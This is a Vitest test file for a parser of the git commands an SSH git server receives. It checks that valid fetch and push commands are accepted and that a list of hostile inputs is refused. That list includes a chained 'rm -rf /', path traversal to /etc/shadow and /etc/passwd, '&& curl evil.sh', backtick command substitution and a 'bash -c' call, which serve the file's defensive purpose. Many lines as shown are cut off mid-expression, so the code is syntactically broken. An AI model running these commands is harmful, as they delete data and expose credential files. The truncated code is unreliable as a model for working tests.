| 1 | import { describe, expect, it } from 'vitest'; |
| 2 | |
| 3 | import { parseGitCommand } |
| 4 | |
| 5 | describe('parseGitCommand', () |
| 6 | it('reads the fetch command git sends', |
| 7 | expect(parseGitCommand("git-upload-pack '/octocat/hello.git' |
| 8 | service: 'git-upload-pack', |
| 9 | username: 'octocat', |
| 10 | repo: 'hello', |
| 11 | }); |
| 12 | }); |
| 13 | |
| 14 | it('reads the push command, unquoted and without the .git suffix', |
| 15 | expect(parseGitCommand('git-receive-pack octocat/hello |
| 16 | service: 'git-receive-pack', |
| 17 | username: 'octocat', |
| 18 | repo: 'hello', |
| 19 | }); |
| 20 | }); |
| 21 | |
| 22 | it('keeps dots inside a name', |
| 23 | expect( |
| 24 | parseGitCommand("git-upload-pack 'octocat/dot.files.git'")?. |
| 25 | ).toBe('dot.files' |
| 26 | }); |
| 27 | |
| 28 | it.each([ |
| 29 | 'git-upload-pack /etc/passwd; rm -rf /', |
| 30 | "git-upload-pack '/../../etc/shadow'", |
| 31 | "git-upload-pack '/octocat/../secrets.git'", |
| 32 | "git-upload-pack '/octocat/hello.git' && curl evil.sh", |
| 33 | 'git-upload-pack `whoami`/hello', |
| 34 | "git-upload-pack '/octocat/hello.git;'", |
| 35 | 'scp -f /etc/passwd', |
| 36 | 'bash -c "id"', |
| 37 | 'git-upload-archive /octocat/hello.git', |
| 38 | "git-upload-pack '/octocat/a/b.git'", |
| 39 | '', |
| 40 | ])('refuses %j', (command |
| 41 | expect(parseGitCommand(command |
| 42 | }); |
| 43 | }); |